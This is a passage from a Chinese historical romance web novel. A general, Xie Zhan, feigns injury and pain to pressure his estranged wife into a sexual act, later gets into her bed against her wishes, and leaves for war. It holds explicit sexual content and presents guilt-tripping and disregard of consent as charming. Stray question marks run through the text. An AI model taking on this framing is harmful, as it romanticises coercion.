其实再想一想,这似乎也并不是一件很尴尬的事,毕竟谢瞻是在?昏睡着?,谁给他换的药他怎能知道? 深吸一口气,沈棠宁掀开被子?,故作淡定地解开了谢瞻的裤腰带。 嗯……沈棠宁不知道的是,谢瞻他就压根没睡。 卢坤义让他装睡,谁知那老头子?临走前非要说给他灌一碗参汤他才能醒。 谢瞻气得在?心里直骂娘,不是他不会?装,是沈棠宁给他脱衣服换药的时候,他实在?没忍住—— 其实也不能全然怪他定力差,是她身上那股熟悉的淡淡的幽香先叫他没控制住自己,对于她身上的味道,他总是难以抗拒。 后来她细滑冰凉的肌肤偶尔贴蹭一下?他的身体,令他浑身僵硬,或是柔软的发丝撩过他的脸颊,撩拨得人?心也痒痒的,身体不可避免地产生了一些直接的反应。 但他现在?哪能醒,既然都是装,索性一装到底了,免得两人?大眼瞪小眼地更加尴尬。 沈棠宁看到后。心里也是微微疑惑。 只她虽与谢瞻有过肌肤之亲,到底于男女?之事上的知识匮乏懵懂了些,而话本子?上对于这档子?事,通常又描述得十分晦涩。 故而当她扯下?谢瞻裤子?的时候,手背被猝不及防地弹打了下?,她一时呆怔在?了原地,瞪大双眼看着?,等反应过后,急忙捂住眼背过了身去。 怎么会?、怎么会?这样? 沈棠宁难以置信。又实在?好奇,忍不住从漏出的指缝里又偷偷瞅了一眼。 谢瞻那处伤口在?大腿内侧,想装作没看见都不成,沈棠宁臊着?脸,只好尽力忽略那一处,闭着?眼胡乱换完了药,就要给他提上裤子?。 要不说人?倒霉喝凉水都塞牙,沈棠宁手忙脚乱,又不睁眼,偏男人?那又极其脆弱,长长的指甲不小心刮蹭了一下?。 就这一下?,谢瞻倒抽一口冷气,几乎要躺床升天。 只听床上男人?一声重重的嘶喘,腾得一下?就坐直了起来,沈棠宁被他唬了一大跳,后退几步结结巴巴道:“你,你……醒了!” 谢瞻掀过被子?就盖了过去,冒着?冷汗咬牙切齿道:“沈团儿,你想杀我?就给个?痛快,不用这么折腾我?!” 沈棠宁欲哭无泪。 “我?不是有意?的!”她飞快瞟了他那处一眼,又飞快移开。说完大约是也意?识到自己做错了事,忙道:“我?去给你找大夫来看看。”转身就要走。 “站住!” 谢瞻忍着?疼道:“我?死是死不了,但你给我?弄成这样,就这么一走了之了?” “我?给你找大夫看嘛。”沈棠宁小声说。 谢瞻竖眉瞪她,“这等隐私之事,你让大夫来看管用?何况我?堂堂大将军,岂能被外人?看了笑话,你还让我?以后要脸不要?” “那,那你说怎么办。” 沈棠宁半响蚊子?声一般讷讷道。 谢瞻恶从心中起,色从胆边生,“你过来给我?揉一揉……” “那不行!”沈棠宁大惊失色,慌忙拒绝。 “好,那你就看我?疼死,断子?绝孙吧,横竖咱俩都和离了,我?就当救了个?白眼狼!” 说罢冷笑一声躺倒在?床上,果真再不说一句话。 他这幅那疼得满头大汗,怒气冲冲的模样,似乎也不像是作伪,沈棠宁忙道:“我?不是那个?意?思!我?……”急得额头上冒出汗来,却如何也不好意?思答应他。 她与谢瞻虽有过肌肤之亲,但那是发生在?意?识不清的情况之下?,何曾当真坦诚相见过。 可若是不救他,她又实在?不忍心看他如此难受…… 内心挣扎了片刻,沈棠宁终究还是……坐了过去。 “我?、我?给你揉就是了。”她低声说。 她轻轻掀开了被子?,见谢瞻没有阻拦,也不敢去看那活,眼睛盯向旁处,纤手摸摸索索,笼攥掌中,心内便吃了一惊,只觉得手中之物甚是雄伟。 好一会?儿,红着?脸欲要滴血,轻声问:“是这儿疼?” “再往下?。” “这儿?” “唔……再多往下?些。” 他吐出的声调尚算平静,细听却略有几分颤抖,似在?咬牙坚持一般,沈棠宁担心是她攥得太紧,连忙放松一些,柔声问他现在?如何。 她这几下?便已是弄得谢瞻魂摇神荡,再加上她在?一旁还细语柔声地和他说着?话,谢瞻险些没把控住自己,城门失守了些。 这一下?,两人?都有些发愣,她大约是察觉出来了,迟疑着?看了他一眼。 谢瞻却哪里容她在?紧要关头发呆,起身便抓住了她的手指挥她,说什么这样他怪难受的,睡也没法睡,又说它本来趴着?好好儿的,都是她给他弄起来的,就得她给负责弄下?去。 弄得沈棠宁窘迫不已,只求快些了结,也不知揉了多久,身后的他忽然抽了口气,摁着?她的手的速度也加快了,等到他彻底松开之后,她急忙抽手而出,按在?一边给谢瞻预备的洗手盆里用力搓了起来。 沈棠宁悄悄瞟了一眼,总算是松了口气,也不敢再细看,丢给他块帕子?,让他赶紧擦干净,莫被旁人?看到了,说罢匆匆逃了出去。 适才弄得时候,她就总是东张西望,一副做贼的模样。 谢瞻心里有些好笑,随手擦了擦,就把帕子?和子?孙万代?扔到了地上。 老实说,舒服归舒服,比他自己动手丰衣足食舒服多,尤其看着?她羞涩的脸蛋,轻咬的红唇,纤细的腰肢……比吃一粒春.药还要叫人?浑身兴奋。 她那双手嫩滑得像块豆腐一样,白得简直叫人?挪不开眼,和男人?粗糙的手用起来是完全是两种不同的感觉,真不敢想象她紧紧包裹的衣衫下?的肌肤又该是何种的细滑莹润。 但是别?处牵动着?,疼也是真疼,这种感觉甚是奇特,刺骨的疼中混合着?前所未有的愉悦,满足,以及极致的舒爽。 他好想有点儿能明白,牡丹花下?死做鬼也风流这句话的意?思了。 丫鬟端着?煎好的药和小粥过来了。 谢瞻目前只能喝点清淡的粥,他非要丫鬟把沈棠宁给叫过来。 “你走那么快做什么……帮我?把药端过来,我?手上现在?没劲儿!” 见她朝他疑惑地看过来,他毫不羞愧地道:“刚才劲儿用光了。” “……” 沈棠宁扶着?他坐起来,后背靠着?个?攒金丝弹花的大迎枕,再将药端到他面?前。 谢瞻一动不动地看着?她。 两人?大眼瞪小眼了片刻,沈棠宁懂了。 这家伙是叫她喂他! 就冲昨天两人?大吵那一架,沈棠宁是绝不想喂他这张臭嘴的,只是大夫说他又不好动肝火…… 沈棠宁不由得沮丧起来。 罢了,这人?刻薄她又不是第一天知道,看在?他救她多次的份上,先忍他一时。又安慰自己:反正?早晚也是要和离的,何必此时与他逞口舌之快?把药一口口喂到了他嘴里。 “我?给你的那块玉牌,你丢哪儿了。”谢瞻盯着?她问。 沈棠宁心里咯噔一下?。 先前光顾着?担心他的安危了,还没想好该如何与他交代?这事儿呢。 “我?,我?不小心弄丢了……” 沈棠宁觑着?他的脸色,小心地搅了搅碗里的黑色药汁,解释道:“大概是在?来的路上丢的,我?到济南的时候,就只发现你给我?的信和和离书了……那块玉牌是不是对你很重要?” 她说话的神态,倒不像是有所欺瞒或遮掩。 沈棠宁这人?,谢瞻是很了解的。 她不会?骗人?。 一旦骗了人?,她会?紧张地磕磕绊绊。 谢瞻咬着?后槽牙,指甲陷入肉里。 萧砚来救他那日,曾把玉牌丢到他的面?前,说这是沈棠宁不要的,让他日后既和离了,便别?再来骚扰她。 “丢便丢了罢,也不是什么值钱的东西,日后我?再送圆儿别?的首饰。” 原本沈棠宁以为谢瞻会?暴跳如雷,毕竟那块玉牌看着?价值不菲,且是谢瞻送给女?儿的礼物。 但她说完却发现谢瞻似乎并不是很在?意?这块玉牌,不由松了口气,心底泛起深深的愧疚之意?。 虽有心还想问问谢瞻准备养病到什么时候,到时候给她那手中的那封和离书盖上印信,她也好离开此地,回京都看温氏和女?儿去。 只谢瞻如今这个?病老虎的模样还离不得人?,为免他又嚷着?骂她白眼狼大发臭脾气,沈棠宁便不得不将这想法暂且搁置了下?来- 京都。 隆德帝收到谢瞻的千里急递大喜,比起昔日的兄弟谢璁,他自然是更倾向于信任自己亲手扶植长大的侄子?谢瞻。 是以当隆德帝身边伺候多年的掌印太监余公公对谢瞻提出质疑,说镇国公世子?抗旨,在?隆德帝诏令天下?兵马却未及时赶回京都,反而莫名与裴廷易大军失散,盘桓在?山东一带多时的时候,隆德帝却摆了摆手道:“他奏章上都解释清楚了,是因为追击宗逆之子?宗瑁才与大军失散。” “这孩子?朕自幼看着?他长大,当时他分身乏术,如何赶回京城来救驾?” 何况裴廷易也说,当初若不是谢瞻及时发现了宗缙的调虎离山之计,两人?夤夜赶回,只怕京都城如今凶多吉少。 这话隆德帝却是不能说出来的,但他心里门儿清。 随着?宗缙造反,如今在?隆德帝心目里凡是异姓将领他都没办法再信任,是以在?命右羽林大将军高桓西击远在?山西太原宗缙的同时,他也派遣了自己心腹的太监前去督军。 另命郭尚谢瞻即刻动身,两人?一南一北分两路秘密前往河北拿下?宗缙的义父张元伦,收服叛军所占失地。 兵贵神速,谢瞻深知这一点,因此他没有告知隆德帝自己身受重伤之事,在?等着?隆德帝圣旨到来的间?隙他也没闲着?,一面?躺在?床上养精蓄锐,一面?暗中派斥候前去河北探听张元伦的动向,琢磨这仗该怎么打。 约莫半个?月的时间?,隆德帝的圣旨终于到来了。 谢瞻身体底子?好,大约在?床上躺了七八天工夫就能下?床了,不过在?沈棠宁面?前,他还是会?装一装的。 以前他没觉得,自从他发现了只要自己喊疼沈棠宁会?对他格外耐心细心后,渐渐地也能拉下?脸了—— 当然,这在?沈棠宁眼中叫做厚脸皮。 其实卢坤义说得对,会?哭的孩子?有奶吃,只是嘴皮子?上下?一碰就能得来的好事,何乐而不为? 隆德帝命萧砚带领五万济南卫守备军前往青州与郭尚合兵,跟随睿王与郭尚一道西击太原。 自从那日两人?在?济南不欢而散后,萧砚就感觉到沈棠宁对他冷淡许多。 除去那次他追击边豫回到临清受重伤,沈棠宁来看过他一次外,后来他好几次过来找她求她,她都找借口拒不相见,反而每天去照顾谢瞻。 直到某一天,她突然不告而别?。 萧砚得知她离开的那天,连夜骑马从济南赶回了临清,可惜驿站之中早已人?去楼空。 “侯爷……” 丫鬟把披风披到萧砚的身上,轻声道:“更深露重,明日咱们还要动身去青州,早些歇了吧。” 从临清回来以后,萧砚就一动不动地站在?窗边,已站了快一整日了。 丫鬟看着?他萧索的背影,忍不住道:“侯爷,不论谢夫人?有没有同镇国公世子?和离,如今在?世人?眼中,她依旧是谢夫人?,又怎会?与咱们同行?何况奴婢这些时日冷眼瞧着?,谢夫人?对那镇国公世子?每日细心看护,未必无情,您又何必还对她念念不忘……” 萧砚始终默然不语。 夜色愈浓。 明日凌晨一早大军就要出发,萧砚在?临清和济南之间?来回了一天,十分疲惫,三更时分,他和衣躺在?了床上。 没多久,丫鬟再次轻轻走了进来,走到架子?床边,看着?床上英俊的男人?,俯下?身想要为他去解身上的衣服。 “下?去,不必了。” 葱葱玉指刚解开男人?衣上的盘扣,萧砚便挥开她的手,翻过了身去。 丫鬟脸一阵红一阵白,咬着?唇,默默退了下?去。 第53章 因是秘密行军,讲究急速且不宜声势浩大,谢瞻便仅领了一万余朝廷军,八月初三由临清出发,大军疾行了十天十夜,终于在十三这?日赶到?了河北与山东交界的顺德县。 自叛将张元伦进攻河北以来,节节挺进,已经攻克下了大半城池,三天前谢瞻接到?斥候消息,如今张元伦正位于河北中部的河间府,全力围攻饶阳。 叛军人?数众多,是谢瞻所领人?数的十倍之多,故强援不可取,只?怕最后还会落得腹背受敌,得不偿失。 大军是在这?日的晌午到?达的顺德,当天顺德县令就安排谢瞻住进了驿馆,作为他的夫人?,沈棠宁自然是被安排与他住在一间房里面的。 今天一到?顺德,谢瞻人?影不见了,在驿馆之中,沈棠宁却?见到?了一个让她倍感?意外惊喜的人?。 锦书一见到?沈棠宁,本来还在笑着?,笑着?笑着?跑过来抱她,待摸到?沈棠宁身上瘦弱的腰肢和背脊,突然“哇”的一声大哭了出来,边哭边心?疼地道:“我差点以为再也见不到?了姑娘了!” 沈棠宁也是一阵心?酸。 当日在普济寺后山她给锦书和韶音托付后事去独自引开宗瑁的追兵时,确实?是存了死?志,只?是没想到?后来会为谢瞻所救,两人?一路流离逃亡,与锦书还会有再相见之日。 在路上这?十天都是沈棠宁照顾谢瞻,不过除去等圣旨的那半个月外,自圣旨到?达后谢瞻就没好生地躺在床上养病过。 沈棠宁与锦书许久未见,诉罢衷肠,方知那日她独自引开追兵后,锦书一行便被后续赶来的谢瞻给救了。 谢瞻命长忠将她们暂且安置在深山中,等第二日战事平息后再护送到?镇国公府。 那时温氏已经由王氏做主接到?了镇国公府避难,可后来沈棠宁和谢瞻两人?音讯全无,甚至有传言说两人?已经死?在宗逆叛军手下。 谢温两家上下那段时日简直乱做了一团,温氏几乎每天坐在窗边等消息,晚上偷偷掉眼泪。 “一月前世子给国公府和夫人?递信报了平安,想让从?前伺候过丫鬟来照顾您,说如今各地不太?平,姑娘您一时半会儿回不去京都,奴婢想着?您许久没回家,一定想念夫人?和小娘子得紧,所以便同长忠一道过来了。” 锦书自告奋勇,保险起见跟着?信差侍卫们一路走水路坐了船过来,所幸一路并未遇到?追兵,跟锦书一道过来的还有谢瞻的小厮长忠。 沈棠宁迫切地想知道家中目前情况,下午的时候两人?便一面聊天一面收拾屋子和行李。 不知不觉说到?了傍晚,听到?外面传来些嘈杂的声音。 谢瞻回来了。 锦书下了炕笑道:“我去看看晚膳。” 走到?帘下时,谢瞻正好走进来,锦书给谢瞻行了一礼走开。 谢瞻走进来,沈棠宁已经拿起了一本医书看着?,谢瞻咳嗽了一声。 “茶水呢,过来倒茶。” 锦书刚走到?帘下,听屋里的女主人?动也不动,犹豫了一下,进去给男主人?倒了茶水。 谢瞻喝着?茶水,眼睛却?朝沈棠宁瞟去。 他原以为见到?锦书沈棠宁会高兴坏了,可事实?看来似乎并非如此。 坐着?连喝了两碗茶水,沈棠宁仍旧一动不动,谢瞻终于坐不住了,走过去拍了下她的肩道:“你?给我重新换一下药,身上发了汗,我觉得不大舒服。” “让军医给你?换。”沈棠宁说。 “以前都是你?给我换,他们毛手毛脚的,没有你?仔细。” “我又不是你?的丫鬟。” 沈棠宁把书合上,冷冷说道:“我看你?伤势恢复得也差不多了,从?今晚开始你?自己一个人?睡吧,我让人?给我重新收拾了一间屋子。” 谢瞻脸色微变,挡住她道:“谁说我恢复得差不多了!” 把衣襟就一扯,指着?胸口上的一处刀伤道:“我没拿你?当丫鬟,你?看,这?道伤口是有些发炎,何况旁人?又不知你?我要和离,你?若搬出去了独自住,让我颜面何存?” 谢瞻常年使弓,两臂和胸口的肌肉都十分发达,无一丝赘肉,尤其胸膛处沟壑分明。 尽管沈棠宁曾为他脱了好几回上衣换药,但乍见他毫无羞意地在她面前袒露身体,还是感?觉很不自在,忙垂了眼道:“那是你?的事,你?自己想办法。” 扭头就要拿着?书走,岂料肩膀被人握住一扳,强行扳了回去。 “为什么我一回来你?就给我甩脸子,我以为看见你?的丫鬟你?心?里会高兴。”谢瞻低声道。 “你?让我怎么高兴?这?一路有多危险你?应该比我清楚,我不明白你?为什么非要让锦书过来,我身边难道还缺伺候的人?吗?谢将军,我真不敢给您甩脸子,您一句话就能定人?生死?,一不高兴就要大发雷霆,我怎么敢惹你??” 自打?知道冤枉了沈棠宁,那玉牌是被萧砚自作主张扣下摔碎的之后,再加上赵庆后来还偷偷告诉他,若不是萧砚故意拖延救援,也就不会死那么多无辜的百姓和弟兄,谢瞻心?里简直恨毒了萧砚。 他知道,萧砚对他是动了杀心?,恨不得将他除之后快。 就算他不死?,也要用那块玉牌来离间他与沈棠宁,且就算日后他告到?隆德帝耳边去,这?事也是萧砚占理。 谢瞻心?中自然也是十分懊悔,枉他自负聪明了一辈子,竟会被萧砚三言两语轻易挑拨,一时的嫉妒冲昏了头脑,误以为沈棠宁已经打?定了主意要和萧砚双宿双栖,还把他送给她的玉牌随意地送给了萧砚,这?才气得怒火中烧,对她说了那些十分难听的话。 明明这段时间眼看着沈棠宁待他和从?前不一样了,就因为那几句话又把她气哭,就算他装得可怜能留她一时,却?已经叫她心里留下了疙瘩。 萧仲昀此人?心?机之深沉,手段之狠辣,远没有他表面上看起来的霁月光风,难怪他第一眼见到?此人?便心?生厌恶。 只?是沈棠宁特意叮嘱赵庆,叫他不要把萧砚软禁她的事情告诉谢瞻,沈棠宁也是有自己的考量—— 毕竟事已至此,外患未平,朝廷内部却?内讧起来,极容易叫叛军抓住把柄,她不愿再因此多生事端。 而谢瞻对于他和萧砚之间的那些破事,也不想让沈棠宁知道,所以才千方百计要来了锦书,想借此讨她欢心?,却?没想到?是弄巧成拙。 谢瞻沉默片刻,解释道:“我让他们走的是水路,不会有危险的,何况长忠不也是这?么过来的。” “不怕一万,就怕万一,你?既想让锦书过来陪我,为何不与我事先商量?那回在去济南的路上,你?也是这?样,直接打?晕我让赵庆把我送走,一点解释都没有,你?若好好和我商量,难道我还会与你?置气不成?” 沈棠宁今天其实?挺生气的。 见到?锦书,她固然欢喜,只?是如今天下大乱,四处流民饿殍,他让锦书从?京都千里迢迢来河北照顾她,实?在是莽撞,她身边有谁来伺候不好,万一锦书在路上遇到?叛军可怎么办? 她讨厌谢瞻的自作主张,刚愎自用。 他纵有千万条优点,脾气差些,她也能忍了,唯独这?一点她最是难以忍受。 反正谢瞻身体好的也差不多了,如今锦书也过来了,沈棠宁不想再忍辱负重伺候他了,不论他答不答应,给不给她和离书,她都要和锦书一起回京都。 谢瞻被她说的哑口无言。 想开口挽留,却?又不知该说些什么来弥补,也不想挟恩图报,用他救了沈棠宁这?件事来威胁她。 那是他的底线,他可以装可怜,只?是想试一试她在他心?目中的地位,她究竟是不是真的厌弃了他,但他的自尊却?决不允许他用挟恩图报的方式去留住一个女人?。 “你?也知道我这?人?有时说话冲,我和你?道歉,”他轻轻抚住沈棠宁的肩,放缓了语气道:“团儿,你?别这?样,我身上真的不舒服,再过两天我便走了,你?体谅体谅我好不好?” 沈棠宁冷哼道:“你?不舒服,那也是你?活该,谁让你?自己不好好养伤的。” “谁活该,你?有本事再说一遍?”他立即问?。 “你?活该。” “你?再说一遍!”他沉了声。 沈棠宁正在气头上,闻言也不禁有些恼怒了,跺脚道:“你?活该!” “再说一遍。” “你?活该,你?活该!” “再说一遍。” “你?……” 沈棠宁抬起头,看他满脸戏谑的笑容终于意识到?自己是被他给逗耍了,气得粉拳锤砸在他的身上。 谢瞻就一动不动任由她发泄,口中道:“是我活该,你?怎么打?我都行,别打?脸就成!” 沈棠宁又捶了他好几下出气,突然双眉痛苦地皱了起来,捂住小腹蹲了下去。 “团儿!” 谢瞻一惊,连忙收了嬉皮笑脸,将她打?横抱到?一边的炕上盖上被子,抬手时却?见自己手上不知何时沾染了大片的血迹! “你?何时受了伤,怎么半分不提!” 谢瞻严厉地说道,迅速掀开被子去检查她的腰臀处。 沈棠宁浑身疼得发紧。 她此时才觉得,活该的那个是自己才对。 适才和谢瞻斗气,使出吃奶的力气和他犟,本来这?两天小腹就总坠得难受,料想是癸水将至,一不小心?气血上涌…… 她推他好几下,奈何那小身板和力气就挣不过他,眼看他就要解开她腰间的系带掀开她的裙子了,情急之下一脚踢了过去。 谢瞻只?当她害羞,精准无误地攥住她的脚踝。 “团儿,我知道你?这?伤处隐秘,但你?莫要讳疾忌医,让我给你?看看,简单包扎一下,我马上去给你?找大夫!” “我真没事了!” 沈棠宁死?死?压着?自己的裙边,怀疑他是故意欺负她,几乎都要哭了。 “你?……你?难道不知女人?的小日子……是天癸!混蛋,快放开我!”说着?一脚朝着?谢瞻的脸就狠狠踢了过去。 谢瞻被沈棠宁踢愣了。 二十多岁的男人?,又在军营里混,怎么可能不晓得天癸。 但他实?在不知道,天癸会流这?么多的血…… 就在这?时,耳边传来一道由远及近的尖利喊声:“姑娘!” 锦书气喘吁吁地冲了进来。 原来锦书在隔壁屋坐着?,听到?沈棠宁哭着?喊什么混蛋放开我,以为主子遭遇了不测,连忙就往屋里冲去。 两人?的屋门没拴,她刚冲进去便见自家姑娘泪眼婆娑衣衫不整地躺在床上,雪白的脚踝和足被男主人?抓在手中,扛到?了肩膀上,衣裙上还沾染着?大片的血渍,怎么看怎么像…… 锦书瞪大双眼。 “滚出去!” 伴随着?谢瞻的一声怒吼,锦书急忙捂着?眼滚了出去。 在门口焦急地站了一会儿,听到?那人?似乎是大步流星地从?屋里出来离开了,忙又返回去扑到?床边,看着?沈棠宁欲言又止。 “姑娘,你?……” “你?身上还不方便着?……怎么能这?样犯傻,不爱惜自己!”憋了半天嗫嚅道。 “……” 显然锦书误会了。 沈棠宁额上冒出了一层冷汗,没力气再解释,只?能闭着?眼一语不发。 过会儿有大夫来给她把了脉,说她是体虚精气不足,又一路颠簸,这?才疼痛难忍,给开了些滋补气血的药。 夜色深了,锦书服侍着?沈棠宁睡下,在一边给沈棠宁守夜,心?里忍不住埋怨谢瞻把沈棠宁弄成这?样,却?又半天见不到?个人?影。 说曹操曹操就到?,谢瞻悄然从?外面进来了,对锦书摆了摆手,示意她下去。 走到?床边,见她脸蛋苍白若纸,娥眉颦蹙,与从?前和他吵架时脸蛋通红的模样大不一样。 默默注视着?她坐了许久,忽轻手轻脚地脱了衣物?,也不管她白天说的话,上就床与她盖了一床被子,还把人?搂在了怀里。 宽厚的大手得寸进尺且轻车熟路地钻进她的衣襟里,落在了绵软的小腹上。 睡梦中,沈棠宁感?觉仿佛有一团热气聚在她坠疼的小腹上,舒服得她哼了几声。 继而,紧皱的双眉也松开,沉沉睡了过去- 三日之后,谢瞻预备与卢坤义?进攻距离饶阳只?有二百里的常州。 临走之前,他又回了两人?的屋里。 沈棠宁不想和他睡一屋,这?两天他只?好都睡在了外间的地上,看着?脸儿白白的沈棠宁,谢瞻实?在有些词穷。 沈棠宁见他一语不发地坐那儿,终于主动开口。 “你?有事?” 谢瞻挠了挠头道:“你?肯理我了?” 沈棠宁垂下眼,看着?膝上的书。 “我记得,你?以前最是讨厌我。” 谢瞻怔了一下,“那?*不一样,我现在是把你?……当成朋友的,我若有错,你?能直言不讳告诉我,我很高兴,但你?若不理我,我心?里也会难受。” 沈棠宁讶然看着?他。 谢瞻似乎有些不太?自在,扭过头道:“我知道你?一直想要和离书,并非我不愿放你?走,那日我说的都是气话,是我……讨厌萧仲昀,你?求他来救我,我一时口不择言才会说那些气话,而且我其实?也知道,萧仲昀不愿来救我……” 沈棠宁暗暗吃惊,刚要开口,谢瞻便继续道:“团儿,你?不必跟我解释,我们男人?之间的事情有男人?间的解决方法,但如今大敌当前,我自不会不顾全大局与他争斗,那只?会叫小人?钻了空子。” 他说得如此坦然,倒叫沈棠宁心?里愧疚了起来。 她不知萧砚与谢瞻从?前有什么样的龃龉,两人?至今都闭口不愿谈论,可萧砚不愿去救谢瞻,的确有很大一部分原因是因为她。 “陛下命我讨伐张元伦,我今晚要走了,少?则半年,多则一两年。” 顿了顿,“虽然我知你?心?里不情愿,但我仍希望能暂时留在顺德,不要回京都。如你?所言,这?一路流民四起,叛军不知凡几,你?一人?上路我不放心?。” “且如今陛下刚对我委以重任,正是我施展抱负之时,团儿,你?若在此时与我离心?离德,执意和离,会让我沦为众人?笑柄,甚至遭御史弹劾,说我德行亏损,国公府家宅不宁。” 他眼底有着?恳求之色。 沈棠宁心?下两难。 她自然也不想因为自己妨碍了谢瞻的仕途,可…… 犹豫了半响,终于还是点头应道:“我答应你?,你?就安心?去吧,这?事我暂且不会提了。” 谢瞻松了口气,这?是他想了数日才想出来的好借口,微笑道:“好,那你?先安心?住在这?里,一旦有事,退可回济南,等我拿下张元伦项上人?头,届时亲自来接你?回京都!” “嗯……” 沈棠宁说完了,见他没有要离开的架势,便轻声道:“怎么,你?还有其它事?” 谢瞻“唔”了一声,说道:“也没什么事了,就是你?这?两天还流那么多血?我今天出城巡视的时候顺道给你?打?了野鸡,已经叫灶上炖给你?了……” “好了我真没事了!” 沈棠宁大窘,为了防止他再问?出什么惊世骇俗的话来,连忙打?断他道:“你?明儿一早不是就要走吗,别在我这?里浪费时间了!” 第二天凌晨大军开拔,沈棠宁被外面的动静吵醒了,睡不着?,索性让锦书扶了她出去。 天色昏蒙蒙的,大街上除了排列整齐鸦雀无声的士兵,一个人?也无。 谢瞻开拔的手势刚落下来,见她出来微微一怔。 沈棠宁对他点了下头。 谢瞻似乎还有话想说,周围的人?已经行动了起来。 他最终好像也朝她笑了一下,没再说什么。 …… 谢瞻不在,有锦书陪伴的这?段日子沈棠宁倒也不算太?寂寞。 安全起见,谢瞻离开后安排沈棠宁住进了当地的县衙中,那县令夫人?得知她是镇国公世子夫人?,为了巴结她,十分殷勤地邀请她搬进当地富商所建的大院。 沈棠宁婉拒了。 她本就不爱交际,以前都是被郭氏逼的,近来迷上了看医书,因为谢瞻离开时叮嘱她不要总出去,她闲来无事就只?能呆在县衙里看医书,几乎与世隔绝。 一转眼两个多月过去,期间谢瞻给她写了两封信。 那时是谢瞻刚离开的第一个月,他便打?了个漂亮的大胜仗,仅用一万多名步兵骑兵,三千人?的弓弩手就攻克了河北的常州县,俘虏了张元伦的亲弟弟叛将张玄,并从?张玄口中得知了取胜张元伦的良策。 对于这?事,虽然他在信中一笔带过篇幅不多,却?能看的出来字里行间透露出的得意自负。 沈棠宁看着?也忍不住一笑,仿佛他高傲的模样就浮现在了眼前。 信的内容不多,除了这?件事,便是简单的几句寒暄问?好。 沈棠宁没什么话说,也就回信嘱咐他注意身体。 收到?第二封信是两个月后了,谢瞻说常州失守后张元伦立即就领兵气势汹汹地包围了饶阳。 而他则按照张玄的计策按兵不动以逸待劳,时日一长,张元伦率领的蓟州骑兵果然疲惫松懈,锐气大减。 此时谢瞻再与饶阳坚守的朝廷军里应外合,把张元伦的三万叛军打?得屁滚尿流,一路沿着?沱河仓皇而逃,卢坤义?又率领了三千人?埋伏在张元伦援军的必经之地,全歼了来增援的叛军。 这?一战后,朝廷军便成功收复了常州九县,士气大增。 午后的阳光照在人?身上暖洋洋的,沈棠宁坐了马车驱车前往城门处。 这?是她两个多月来第一次出门。 县令夫人?与她约定好这?两日都城门口开仓赈济因战争无处可去的流民,因县令夫人?家中有了急事先行离开,下午时分结束沈棠宁便与从?人?一道回了府。 马车穿过胡同行到?大街上,因恰好是开市时间,街上人?来人?往,行至一处马车忽撞上了块大石,“咣当”一声停了下来。 沈棠宁不得不下了马车。 长忠仔细查看,发现马车的车轴被撞断了,离家还有近半个时辰的车程,总不能走不过去。 长忠遂告知过沈棠宁,并指挥小厮赶紧去重新买一辆马车过来。 谁知等他准备转过身要去引沈棠宁到?旁边的阴凉下站着?稍作休息时,前面突然发生了混乱。 不知是谁喊了一声“菀菀姑娘来了!”整个大街瞬间犹如沸水入锅一般沸腾了起来,众人?疯狂地朝着?前面跑去,转眼的功夫整个大街就变得拥挤不通。 沈棠宁被夹在人?群中间像后挤去,她的声音也淹没在了众人?呼喊声中。 不知不觉中,有人?悄然握住了她的手腕大力向后扯去。 “放开我!锦书!” 沈棠宁一面挣扎,一面扬声喊着?锦书和长忠的名字。 锦书和长忠急忙四处环顾,却?只?能隐约听到?沈棠宁微弱的喊声,就是看不到?人?。 沈棠宁怀疑自己可能遇上拍花子了,急中生智,急忙拔下头上的发簪和耳环向一侧的人?群中丢去。 “谁的珍珠耳铛和赤金簪子丢了!” 接连喊了数遍,果真大家都转而争着?去抢那黄灿灿的赤金簪子,沈棠宁也终于看到?了长忠和锦书。 正要再开口呼唤两人?,突然嘴巴被人?捂住向后拖去,让她再发不出任何声音,动作也比先前更加迅速果决。 不知拖行了多久,就在沈棠宁即将绝望之际,那人?却?莫名停住了。 捂在她嘴间的手被人?强行扯下,攥着?她手腕的那双手也被迫松开。 “滚!”男人?低声喝道。 接着?,她便因几乎窒息而晕眩着?跌入了一人?的怀中。 “夫人?,夫人?……醒醒!” 脸上传来清晰的痛感?,被人?用力拍了数下,沈棠宁呜咽两声,终于睁开了眼。 “你?没事吧?”那人?问?道。 这?是个陌生的青年,看起来约莫二十来岁的年纪,身上着?淡青色的长袍,面庞清俊,气质儒雅温和,一双琥珀色的眼睛却?宛如鹰隼般坚毅锐利,正关切地看着?她。 见怀中女子睁眼向他望过来,青年不禁一愣。 只?见怀中女子一双杏眼黑白分明,柔媚似水,她的肌肤更雪白若凝脂一般细腻,竟是个十分美貌青春的小妇人?。 饶是这?青年见过不少?的美人?,眼底还是忍不住闪过一抹惊艳。 虽是如此,他手上的动作却?依旧十分礼貌规矩。 沈棠宁被他扶着?站定,感?激地道:“多谢公子相救,不知恩公名姓,来日妾身必定亲自上门道谢。” 身后的锦书和长忠这?时也赶了过来,青年却?温声道:“某路过而已,夫人?不必上门道谢。只?是这?世道不太?平,常有心?怀叵测之人?企图浑水摸鱼,夫人?生就天香国色,日后在路上还是多加小心?,切勿一人?独行。” 待这?青年走远后,锦书和长忠将沈棠宁扶上了新买来的马车,沈棠宁先行回府,由长忠派人?去搜查那几个拍花子。 傍晚长忠方归。 “属下无能,那几人?似早有预谋,围聚的人?群散去后属下便立即带人?去寻,那几人?早已逃得无影无踪,城内遍寻不得。” 沈棠宁说道:“你?既说他们早有预谋,又怎会让你?轻易抓到?,不必自责,这?事不怪你?。” 女主人?不仅没有追究他无能,还反过来安慰他,叫长忠心?中忐忑顿时去了大半。 当初谢瞻传信让他来河北,长忠还以为有了建功立业的机会,心?情无比激荡,谁知主子离开前却?命他留下照顾沈棠宁,长忠觉得大材小用,还曾暗暗有过不满。 但这?段时日相处下来,女主人?善解人?意,温柔和善,长忠愈发觉得自家主子找了门好亲事,待沈棠宁比先前更多了十分的真心?和用心?。 沈棠宁叫锦书给长忠搬来锦杌端来热水,长忠忙谢着?接过。 “夫人?,我们白日见到?那青年似乎并非我们周人?。” 沈棠宁一怔。 “何以见得,我见那青年言谈举止分明都是中原人?的模样。” 长忠说道:“属下随世子曾北征契人?两年,那青年言谈举止的确活脱脱周人?模样无疑,但他的两名随从?走路姿势却?如同扎马步般,这?是因契人?常年骑马留下的走路习惯,绝不会差。至于那为首的青年为何看不出丝毫异常,我实?在便不知了。” 沈棠宁默了片刻。 长忠担心?沈棠宁放了那三人?,立即道:“夫人?万不能因那青年救了您便掉以轻心?,如今咱们大周内有叛军作乱,外有契人?虎视眈眈,正是内忧外患之际,夫人?决不能心?慈手软!” 